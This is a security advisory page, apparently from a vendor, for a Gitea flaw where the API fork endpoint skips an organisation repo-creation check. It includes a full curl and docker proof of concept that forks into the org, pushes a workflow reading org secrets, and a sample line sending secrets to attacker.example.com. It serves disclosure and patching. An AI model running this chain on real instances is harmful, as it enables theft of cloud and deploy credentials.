GHSA-fhx7-m96w-mv29
HIGHGHSA-fhx7-m96w-mv29 is a high-severity (CVSS 8.1) CWE-284 vulnerability in code.gitea.io/gitea. O3 Security confirms whether GHSA-fhx7-m96w-mv29 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Gitea: API Fork Missing CanCreateOrgRepo Check Allows Org Secret Exfiltration
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-fhx7-m96w-mv29.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-fhx7-m96w-mv29 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 360,482 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
code.gitea.io/giteaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The API endpoint POST /api/v1/repos/{owner}/{repo}/forks only checks IsOrgMember() when a user forks a repository into an organization, but does not check CanCreateOrgRepo(). The web UI fork handler correctly checks both. This allows a read-only organization member — in a team with can_create_org_repo=false — to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.
Steps To Reproduce
1. Environment setup
Start a Gitea instance with Actions enabled:
# docker-compose.yml
cat > docker-compose.yml << 'EOF'
version: '3'
services:
gitea:
image: gitea/gitea:1.23
container_name: gitea-poc
ports:
- "3000:3000"
volumes:
- gitea-data:/data
environment:
- GITEA__database__DB_TYPE=sqlite3
- GITEA__server__ROOT_URL=http://localhost:3000/
- GITEA__security__INSTALL_LOCK=true
- GITEA__actions__ENABLED=true
volumes:
gitea-data:
EOF
docker compose up -d
# Wait for startup
sleep 15
# Create admin user
docker exec -u git gitea-poc gitea admin user create \
--admin --username admin --password 'Admin1234!' \
--email [email protected] --must-change-password=false
2. Create the target environment (as admin)
# Get admin token
ADMIN_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/admin/tokens" \
-u "admin:Admin1234!" -H "Content-Type: application/json" \
-d '{"name": "setup", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")
# Create attacker user
curl -s -X POST "http://localhost:3000/api/v1/admin/users" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attacker123!","email":"[email protected]","must_change_password":false}'
# Create organization
curl -s -X POST "http://localhost:3000/api/v1/orgs" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"username":"target-org","visibility":"public"}'
# Create a source repository in the org
curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"source-repo","auto_init":true}'
# Create a read-only team with can_create_org_repo=false
TEAM_ID=$(curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/teams" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"readonly-team","permission":"read","can_create_org_repo":false,"units":["repo.code","repo.issues"]}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
# Add attacker to the read-only team
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker" \
-H "Authorization: token $ADMIN_TOKEN"
# Add source-repo to the team so attacker can read it
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo" \
-H "Authorization: token $ADMIN_TOKEN"
# Create organization secrets (simulating real CI/CD credentials)
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"sk-live-test-deploy-key-1234567890abcd"}'
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"AKIAIOSFODNN7EXAMPLE"}'
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}'
3. Register an Actions runner
# Get runner registration token
REG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token)
# Start act_runner (adjust network name if needed)
NETWORK=$(docker inspect gitea-poc --format '{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}')
docker run -d --name act-runner --network "$NETWORK" \
-e GITEA_INSTANCE_URL=http://gitea-poc:3000 \
-e GITEA_RUNNER_REGISTRATION_TOKEN="$REG_TOKEN" \
-e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \
-v /var/run/docker.sock:/var/run/docker.sock \
gitea/act_runner:latest
# Wait for runner registration
sleep 15
4. Verify attacker CANNOT create repos in the org (expected: 403)
# Get attacker token
ATTACKER_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/attacker/tokens" \
-u "attacker:Attacker123!" -H "Content-Type: application/json" \
-d '{"name": "poc", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")
# Try creating a repo directly — should fail
curl -s -o /dev/null -w "Direct repo creation: HTTP %{http_code}\n" \
-X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"should-fail","auto_init":true}'
# Expected output: Direct repo creation: HTTP 403
# Verify attacker cannot access org secrets via API
curl -s -o /dev/null -w "Access org secrets: HTTP %{http_code}\n" \
"http://localhost:3000/api/v1/orgs/target-org/actions/secrets" \
-H "Authorization: token $ATTACKER_TOKEN"
# Expected output: Access org secrets: HTTP 403
5. Exploit: Fork into the org via API (THE BYPASS)
# Fork the source repo into the org — this should also fail but doesn't
FORK_RESULT=$(curl -s -X POST \
"http://localhost:3000/api/v1/repos/target-org/source-repo/forks" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"organization":"target-org","name":"evil-fork"}')
echo "$FORK_RESULT" | python3 -c "
import sys,json
d = json.load(sys.stdin)
print(f'Fork created: {d[\"full_name\"]}')
print(f'Permissions: admin={d[\"permissions\"][\"admin\"]}, push={d[\"permissions\"][\"push\"]}')
"
# Expected output:
# Fork created: target-org/evil-fork
# Permissions: admin=True, push=True
The attacker now has admin+push access to an org-owned repository, despite being in a team with can_create_org_repo=false.
6. Enable Actions and push exfiltration workflow
# Enable Actions on the fork
curl -s -X PATCH "http://localhost:3000/api/v1/repos/target-org/evil-fork" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"has_actions":true}'
# Push a workflow that references org secrets
WORKFLOW=$(cat << 'WFEOF'
name: exfiltrate
on: [push]
jobs:
steal:
runs-on: ubuntu-latest
steps:
- name: Leak org secrets
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
run: |
echo "=== SECRET EXFILTRATION ==="
echo "DEPLOY_KEY length: ${#DEPLOY_KEY}"
echo "AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}"
echo "AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}"
echo "DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}..."
echo "AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}..."
echo "AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}..."
echo "=== END EXFILTRATION ==="
WFEOF
)
curl -s -X POST \
"http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d "{\"content\":\"$(echo -n "$WORKFLOW" | base64 -w0)\",\"message\":\"add CI\"}"
7. Verify secret exfiltration
# Wait for the runner to execute the workflow (60-120 seconds)
sleep 90
# Check the Actions run page in browser or via API:
echo "View results at: http://localhost:3000/target-org/evil-fork/actions"
Expected output in the workflow logs:
=== SECRET EXFILTRATION ===
DEPLOY_KEY length: 37
AWS_ACCESS_KEY length: 20
AWS_SECRET_KEY length: 40
DEPLOY_KEY prefix: sk-l...
AWS_ACCESS_KEY prefix: AKIA...
AWS_SECRET_KEY prefix: wJal...
=== END EXFILTRATION ===
All three organization-level secrets are accessible to the attacker's workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., curl -d "$SECRET" https://attacker.example.com/collect).
Impact
A read-only organization member — with no repository creation rights (can_create_org_repo=false) — can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the CanCreateOrgRepo permission, but the API does not, creating a classic API-vs-web authorization inconsistency.
The attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the CanCreateOrgRepo check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org's runner picks up the job (runners match on repository.owner_id), and org secrets are injected into the workflow environment (fetched by Repo.OwnerID); (5) the workflow exfiltrates all org secrets.
Organization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization's trusted namespace, creating supply chain risk for downstream consumers.
This is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees — precisely the users who should NOT have access to production secrets.
Supporting Material/References
- poc-fork-authz-bypass.zip — ZIP archive containing the full exploit script and README
- Vulnerable code — API fork handler (missing
CanCreateOrgRepocheck): https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144 - Correct code — Web fork handler (has
CanCreateOrgRepocheck): https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189 - Runner task assignment (matches on
owner_id): https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248 - Secret injection (fetches by
Repo.OwnerID): https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167 - Fork creator gets admin permissions: https://github.com/go-gitea/gitea/blob/79f96b3e24/services/repository/create.go#L433-L440
- Related fix: PR #34031 fixed a similar bypass via repo transfers, confirming this class of authorization inconsistency is treated as a vulnerability
- OWASP API Security Top 10 2023: API5 — Broken Function Level Authorization
- OWASP Top 10 2021: A01 — Broken Access Control
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.gitea.io/gitea | all versions | 1.26.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update code.gitea.io/gitea to 1.26.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fhx7-m96w-mv29 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fhx7-m96w-mv29 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fhx7-m96w-mv29. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fhx7-m96w-mv29 in your dependencies?
O3 detects GHSA-fhx7-m96w-mv29 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.